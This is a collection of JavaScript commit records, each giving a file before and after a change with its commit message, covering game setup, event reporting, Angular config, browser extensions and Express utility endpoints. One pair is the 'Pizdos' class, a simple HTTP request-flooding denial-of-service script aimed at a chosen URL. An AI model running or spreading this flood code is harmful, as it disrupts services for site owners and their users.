});

'use strict';
/* global Monogatari */
/* global monogatari */

/**
 * =============================================================================
 * This is the file where you should put all your custom JavaScript code,
 * depending on what you want to do, there are 3 different places in this file
 * where you can add code.
 *
 * 1. Outside the $_ready function: At this point, the page may not be fully
 *    loaded yet, however you can interact with Monogatari to register new
 *    actions, components, labels, characters, etc.
 *
 * 2. Inside the $_ready function: At this point, the page has been loaded, and
 *    you can now interact with the HTML elements on it.
 *
 * 3. Inside the init function: At this point, Monogatari has been initialized,
 *    the event listeners for its inner workings have been registered, assets
 *    have been preloaded (if enabled) and your game is ready to be played.
 *
 * You should always keep the $_ready function as the last thing on this file.
 * =============================================================================
 **/

const { $_ready, $_ } = Monogatari;

// 1. Outside the $_ready function:

$_ready (() => {
	// 2. Inside the $_ready function:

	monogatari.init ('#monogatari').then (() => {
		// 3. Inside the init function:

	});
});

Add small guide on code placing


// Requires
var _ = require('underscore');

var wireFriendly = require('../utils').wireFriendly;
var timestamp = require('../utils').timestamp;

function setup(options, imports, register) {
    // Import
    var events = imports.events;
    var workspace = imports.workspace;
    var hooks = imports.hooks;
    var logger = imports.logger.namespace("reporting");

    var timeout = Number(options.timeout || 6) * 1e3; // 2mn

    logger.log("events reporting with timeout of", timeout, "ms")

    // A queue we push all our events to
    var eventQueue = [];

    // Send events and empty queue
    var sendEvents = _.debounce(function sendEvents() {
        logger.log("report", _.size(eventQueue), "events");

        // Hit hook
        hooks.use("events", eventQueue);

        // Empty queue
        eventQueue = [];
    }, timeout);

    var queueEvent = function queueEvent(eventData) {
        eventQueue.push(eventData);
    };

    // Construct
    events.onAny(function(data) {
        // Queue new event
        queueEvent({
            // Type of event
            event: this.event,

            // Data of event
            data: wireFriendly(data),

            // Workspace ID
            workspaceId: workspace.id,

            // Timestamp of event
            timestamp: timestamp()
        });

        // Send events
        sendEvents();
    });

    // Register
    register(null, {});
}

// Exports
module.exports = setup;

// Requires
var _ = require('underscore');

var wireFriendly = require('../utils').wireFriendly;
var timestamp = require('../utils').timestamp;

function setup(options, imports, register) {
    // Import
    var events = imports.events;
    var workspace = imports.workspace;
    var hooks = imports.hooks;
    var logger = imports.logger.namespace("reporting");

    var timeout = Number(options.timeout || 180) * 1e3; // 2mn

    logger.log("events reporting with timeout of", timeout, "ms")

    // A queue we push all our events to
    var eventQueue = [];

    // Send events and empty queue
    var sendEvents = _.debounce(function sendEvents() {
        logger.log("report", _.size(eventQueue), "events");

        // Hit hook
        hooks.use("events", eventQueue);

        // Empty queue
        eventQueue = [];
    }, timeout);

    var queueEvent = function queueEvent(eventData) {
        eventQueue.push(eventData);
    };

    // Construct
    events.onAny(function(data) {
        // Queue new event
        queueEvent({
            // Type of event
            event: this.event,

            // Data of event
            data: wireFriendly(data),

            // Workspace ID
            workspaceId: workspace.id,

            // Timestamp of event
            timestamp: timestamp()
        });

        // Send events
        sendEvents();
    });

    // Register
    register(null, {});
}

// Exports
module.exports = setup;

Change timeout for events reporting


function parseImports(content) {
  var importRe = /\@import ([.\s\S]+?);/g;
  var depRe = /["'](.+?)["']/g;
  var importMatch = {};
  var depMatch = {};
  var results = [];
  while ((importMatch = importRe.exec(content)) !== null) {
    while ((depMatch = depRe.exec(importMatch[1])) !== null) {
      results.push(depMatch[1]);
    }
  }
  return results;
}

module.exports = parseImports;

function parseImports(content) {
  var importRe = /\@import ([.\s\S]+?);/g;
  var depRe = /["'](.+?)["']/g;
  var importMatch = {};
  var depMatch = {};
  var results = [];
  // strip comments
  content = new String(content).replace(/\/\*.+?\*\/|\/\/.*(?=[\n\r])/g, '');
  while ((importMatch = importRe.exec(content)) !== null) {
    while ((depMatch = depRe.exec(importMatch[1])) !== null) {
      results.push(depMatch[1]);
    }
  }
  return results;
}

module.exports = parseImports;

Fix to ignore comments while parsing imports


var app = angular.module('meanmap', ['ngRoute','ngStorage','ngMessages','angularMoment','angular-loading-bar','ngFileUpload','leaflet-directive','ui.bootstrap','appRoutes','ngSanitize','toastr','geocoder','ngLodash'])
  .factory('authInterceptor', function($q, $location, $window){
    return {
      request: function(config){
        config.headers = config.headers || {};

        if($window.sessionStorage["token"]){
          config.headers.token = $window.sessionStorage["token"];
        }
        return config;
      },

      responseError: function(response){
        if(response.status == 401){
          $location.path('/auth/login');
        }
        return $q.reject(response);
      }
     };
  })
  .config(['cfpLoadingBarProvider','$httpProvider', function(cfpLoadingBarProvider, $httpProvider){
    $httpProvider.interceptors.push('authInterceptor');
    cfpLoadingBarProvider.includeSpinner   = false;
    cfpLoadingBarProvider.includeBar       = true;
    cfpLoadingBarProvider.latencyThreshold = 5;
  }])
  .run(['$rootScope', '$location', function($rootScope, $location) {
    $rootScope.$on( "$routeChangeStart", function(event, next, current) {
      if($rootScope.currentUser === undefined  && next.requireAuth) {
        $location.path( "/" );
      }
    });
  }]);

var app = angular.module('meanmap', ['ngRoute','ngStorage','ngMessages','angularMoment','angular-loading-bar','ngFileUpload','leaflet-directive','ui.bootstrap','appRoutes','ngSanitize','toastr','geocoder','ngLodash'])
  .factory('authInterceptor', function($q, $location, $window){
    return {
      request: function(config){
        config.headers = config.headers || {};

        if($window.sessionStorage["token"]){
          config.headers.token = $window.sessionStorage["token"];
        }
        return config;
      },

      responseError: function(response){
        if(response.status == 401){
          $location.path('/auth/login');
        }
        return $q.reject(response);
      }
     };
  })
  .config(['cfpLoadingBarProvider','$httpProvider', function(cfpLoadingBarProvider, $httpProvider){
    $httpProvider.interceptors.push('authInterceptor');
    cfpLoadingBarProvider.includeSpinner   = false;
    cfpLoadingBarProvider.includeBar       = true;
  }])
  .run(['$rootScope', '$location', function($rootScope, $location) {
    $rootScope.$on( "$routeChangeStart", function(event, next, current) {
      if($rootScope.currentUser === undefined  && next.requireAuth) {
        $location.path( "/" );
      }
    });
  }]);

Adjust loading bar latency threshold


/**
 * View class for Pages
 *
 * @copyright  2014-today Justso GmbH, Frankfurt, Germany
 * @author     j.schirrmacher@justso.de
 *
 * @package    Generator
 */

define([ "jquery", "backbone" ], function($, Backbone) {
    return Backbone.View.extend({
        tagName: 'li',
        className: "list-group-item",

        render: function(page) {
            this.$el.attr("id", page.cid);
            this.$el.html(_.template($("#PageEntry").html(), page.attributes));
            return this.el;
        }
    });
});

/**
 * View class for Pages
 *
 * @copyright  2014-today Justso GmbH, Frankfurt, Germany
 * @author     j.schirrmacher@justso.de
 *
 * @package    Generator
 */

define([ "jquery", "backbone" ], function($, Backbone) {
    var compiled = _.template($("#PageEntry").html());

    return Backbone.View.extend({
        tagName: 'li',
        className: "list-group-item",

        render: function(page) {
            this.$el.attr("id", page.cid);
            this.$el.html(compiled(page.attributes));
            return this.el;
        }
    });
});

Use precompiled template for pages as well


// Install Javascript
var s = document.createElement("script");
s.src = chrome.extension.getURL("script.js");
(document.head||document.documentElement).appendChild(s);

// Install CSS
var c = document.createElement("link");
c.rel = "stylesheet";
c.href = chrome.extension.getURL("gentle-alerts.css");
(document.head||document.documentElement).appendChild(c);

// Install Javascript
var s = document.createElement("script");
s.src = chrome.runtime.getURL("script.js");
(document.head||document.documentElement).appendChild(s);

// Install CSS
var c = document.createElement("link");
c.rel = "stylesheet";
c.href = chrome.runtime.getURL("gentle-alerts.css");
(document.head||document.documentElement).appendChild(c);

Switch from chrome.extension to chrome.runtime


/*jslint node: true, nomen: true, white: true, unparam: true*/
/*!
 * Sitegear3
 * Copyright(c) 2014 Ben New, Sitegear.org
 * MIT Licensed
 */

(function (_) {
	"use strict";

	module.exports = function (app) {
		return {
			page: function () {
				return function (request, response) {
					var prefix = 'page', // TODO Get from settings (?)
						separator = '.', // TODO Get from settings (?)
						keys = [ 'main', 'title' ], // TODO Get from settings (?)
						fragments = {};
					_.each(keys, function (key) {
						app.redis.get(prefix + separator + request.path + separator + key, function (error, data) {
							fragments[key] = data;
							if (_.size(fragments) >= keys.length) {
								response.render('index', { fragments: fragments });
							}
						});
					});
				}
			}
		}
	};
}(require('lodash')));

/*jslint node: true, nomen: true, white: true, unparam: true*/
/*!
 * Sitegear3
 * Copyright(c) 2014 Ben New, Sitegear.org
 * MIT Licensed
 */

(function (_) {
	"use strict";

	module.exports = function (app) {
		return {
			page: function () {
				return function (request, response) {
					var prefix = 'page', // TODO Get from settings (?)
						separator = '.', // TODO Get from settings (?)
						baseKey = prefix + separator + request.path.replace(/\/+$/, '') + separator,
						keys = [ 'main', 'title' ], // TODO Get from settings (?)
						fragments = {};
					_.each(keys, function (key) {
						app.redis.get(baseKey + key, function (error, data) {
							fragments[key] = data;
							if (_.size(fragments) >= keys.length) {
								response.render('index', { fragments: fragments });
							}
						});
					});
				}
			}
		}
	};
}(require('lodash')));

Support trailing slashes in URLs.


// ---------------------------- Imports. ---------------------------------
const fs      = require('fs'),
      cp      = require('child_process'),
      request = require('request')

// --------------------------- Main class. -------------------------------
class Pizdos {
    // Public.
    /**
     * Starts attack on url using options.
     * @param {string} url
     * @param {Object} options
     */
    static attack(url, options) {
        fs.readFile(__dirname + '/../config/standart-options.json',
                    'utf8',
                    (err, data) => {
            if (err) throw err

            const o = Object.assign(JSON.parse(data), options)

            this.startAttack(url,
                             o.attackDuration,
                             o.requestsFrequency)
        })
    }

    // Private.
    /**
     * Starts attack on url.
     * @param {string} url
     * @param {number} processesCount
     * @param {number} duration
     * @param {number} frequency
     */
    static startAttack(url, duration, frequency) {
        console.log('Attack is started.')

        setInterval(() => {
            request(url, (error, r, b) => {
                if (!!error) {
                    console.log('Attack ended with an error.')
                    process.abort()
                }
            })
        }, frequency)

        setTimeout(() => {
            console.log('Attack is complete.')
            process.abort()
        }, duration)
    }
}

// ---------------------------- Exports. ---------------------------------
module.exports = Pizdos

// ---------------------------- Imports. ---------------------------------
const fs      = require('fs'),
      cp      = require('child_process'),
      request = require('request')

// --------------------------- Main class. -------------------------------
class Pizdos {
    // Public.
    /**
     * Starts attack on url using options.
     * @param {string} url
     * @param {Object} options
     */
    static attack(url, options) {
        fs.readFile(__dirname + '/../config/standart-options.json',
                    'utf8',
                    (err, data) => {
            if (err) throw err

            const o = Object.assign(JSON.parse(data), options)

            this.startAttack(url,
                             o.attackDuration,
                             o.requestsFrequency)
        })
    }

    // Private.
    /**
     * Starts attack on url.
     * @param {string} url
     * @param {number} processesCount
     * @param {number} duration
     * @param {number} frequency
     */
    static startAttack(url, duration, frequency) {
        console.log('Attack is started.')

        setInterval(() => {
            request(url, (error) => {
                if (error) {
                    console.log('Attack ended with an error.')
                    process.abort()
                }
            })
        }, frequency)

        setTimeout(() => {
            console.log('Attack is complete.')
            process.abort()
        }, duration)
    }
}

// ---------------------------- Exports. ---------------------------------
module.exports = Pizdos

Remove some thrash from library.


import { Strategy } from 'passport-local';
import bcrypt from '../bcrypt';
import models from '../../models';

const strategy = new Strategy('local', (username, password, done) =>
  models.user.findOne({
    where: {
      username
    }
  }).then(user => {
    if (!user) {
      return done(null, false);
    }
    const storedPwd = user.password;
    return bcrypt.compareAsync(password, storedPwd)
    .then(verified => {
      if (verified) {
        return done(null, user.toJSON());
      }
      return done(null, false);
    });
  })
);

export default strategy;

import { Strategy } from 'passport-local';
import bcrypt from '../bcrypt';
import models from '../../models';

const strategy = new Strategy('local', (username, password, done) =>
  models.user.findOne({
    where: {
      username
    },
    include: [models.role]
  }).then(user => {
    if (!user) {
      return done(null, false);
    }
    const storedPwd = user.password;
    return bcrypt.compareAsync(password, storedPwd)
    .then(verified => {
      if (verified) {
        return done(null, user.toJSON());
      }
      return done(null, false);
    });
  })
);

export default strategy;

Return user object with roles


const log = require("../utils/logger");

function addHandlers(server) {
    log.debug("Adding handler for about api get request");
    server.get("/api/about", (req, res, next) => {
        var apis = [];
        var keys = Object.keys(server.router.mounts);
        keys.forEach((key) => {
            var current = server.router.mounts[key];
            apis.push({ path: "https://api.repkam09.com" + current.spec.path, method: current.method });
        });

        res.send(200, apis);
    });
}

/**
 * This set of properties defines this as a plugin
 * You must have an enabled, name, and start property defined
 */
module.exports = {
    enabled: true,
    name: "utils",
    start: (server) => {
        addHandlers(server);
    }
}

const log = require("../utils/logger");
const request = require('request');

function addHandlers(server) {
    server.get("/api/about", (req, res, next) => {
        var apis = [];
        var keys = Object.keys(server.router.mounts);
        keys.forEach((key) => {
            var current = server.router.mounts[key];
            apis.push({ path: "https://api.repkam09.com" + current.spec.path, method: current.method });
        });

        res.send(200, apis);
    });

    server.get("/api/imgur/:url", (req, res, next) => {
        if (req.params.url) {
            request.get("http://i.imgur.com/" + req.params.url + ".jpg").pipe(res);
        }
    });

    server.post("/api/b64", (req, res, next) => {
        if (req.body) {
            var b64 = new Buffer(req.body).toString('base64');
            res.send(200, b64);
        } else {
            res.send(400, "Bad Request");
        }
    });

    server.post("/api/d64", (req, res, next) => {
        if (req.body) {
            var d64 = new Buffer(req.body, 'base64').toString('ascii')
            res.send(200, d64);
        } else {
            res.send(400, "Bad Request");
        }
    });

}

/**
 * This set of properties defines this as a plugin
 * You must have an enabled, name, and start property defined
 */
module.exports = {
    enabled: true,
    name: "utils",
    start: (server) => {
        addHandlers(server);
    }
}

Add some quick utility apis


import { Store } from 'consus-core/flux';
import StudentStore from './student-store';
import { checkOutItems } from '../lib/api-client';

let items = [];

let timer = null;

function clearTimer() {
    clearTimeout(timer);
    timer = null;
}

class CartStore extends Store {
    getItems() {
        return items;
    }

    isOnTimeout(){
        return timer !== null;
    }
}

const store = new CartStore();

store.TIMEOUT_TIME = 60000;

store.registerHandler('STUDENT_FOUND', () => {
    if(store.isOnTimeout()){
        clearTimer();
    }
});

store.registerHandler('CHECKOUT_ITEM_FOUND', data => {
    if(store.isOnTimeout()){
        clearTimer();
    }
    let item = {
        address: data.address,
        status: data.status
    };
    items.push(item);
    timer = setTimeout(() => {
        checkOutItems(StudentStore.getStudent().id, items.map(item =>{return item.address;}));
        timer = null;
    }, store.TIMEOUT_TIME);
    store.emitChange();
});

store.registerHandler('CHECKOUT_SUCCESS', () => {
    clearTimer();
    store.waitFor(StudentStore);
    items = [];
    store.emitChange();
});

store.registerHandler('CLEAR_ALL_DATA', () => {
    items = [];
    store.emitChange();
});

store.registerHandler('CLEAR_ITEMS', () => {
    items = [];
    store.emitChange();
});

export default store;

import { Store } from 'consus-core/flux';
import StudentStore from './student-store';
import { checkOutItems } from '../lib/api-client';

let items = [];

let timer = null;

function clearTimer() {
    clearTimeout(timer);
    timer = null;
}

class CartStore extends Store {
    getItems() {
        return items;
    }

    isOnTimeout(){
        return timer !== null;
    }
}

const store = new CartStore();

store.TIMEOUT_TIME = 60000;

store.registerHandler('STUDENT_FOUND', () => {
    if(store.isOnTimeout()){
        clearTimer();
    }
});

store.registerHandler('CHECKOUT_ITEM_FOUND', data => {
    if(store.isOnTimeout()){
        clearTimer();
    }
    let item = {
        address: data.address,
        status: data.status
    };
    items.push(item);
    timer = setTimeout(() => {
        checkOutItems(StudentStore.getStudent().id, items.map(item => item.address));
        timer = null;
    }, store.TIMEOUT_TIME);
    store.emitChange();
});

store.registerHandler('CHECKOUT_SUCCESS', () => {
    clearTimer();
    store.waitFor(StudentStore);
    items = [];
    store.emitChange();
});

store.registerHandler('CLEAR_ALL_DATA', () => {
    items = [];
    store.emitChange();
});

store.registerHandler('CLEAR_ITEMS', () => {
    items = [];
    store.emitChange();
});

export default store;

Simplify arrow function in map


(function() {
  var prev = 0;
  var $window = $(window);
  var nav = $('.docs-sticky-top-bar');

  $window.on('scroll', function(){
    var scrollTop = $window.scrollTop();
    nav.toggleClass('mobile-hidden', scrollTop > prev);
    prev = scrollTop;
  });

  $('#inline-search').on('on.zf.toggler', function() {
    $(this).find('input').focus();
    $('.search-button').addClass('search-open');
  });
  $('#inline-search').on('off.zf.toggler', function() {
    $(this).find('input').blur();
    $('.search-button').removeClass('search-open');
  });
})();

(function() {
  var prev = 0;
  var $window = $(window);
  var nav = $('.docs-sticky-top-bar');

  $window.on('scroll', function(){
    var scrollTop = $window.scrollTop();
    nav.toggleClass('mobile-hidden', scrollTop > prev && scrollTop > 100);
    prev = scrollTop;
  });

  $('#inline-search').on('on.zf.toggler', function() {
    $(this).find('input').focus();
    $('.search-button').addClass('search-open');
  });
  $('#inline-search').on('off.zf.toggler', function() {
    $(this).find('input').blur();
    $('.search-button').removeClass('search-open');
  });
})();

Fix top whitespace on mobile hiding nav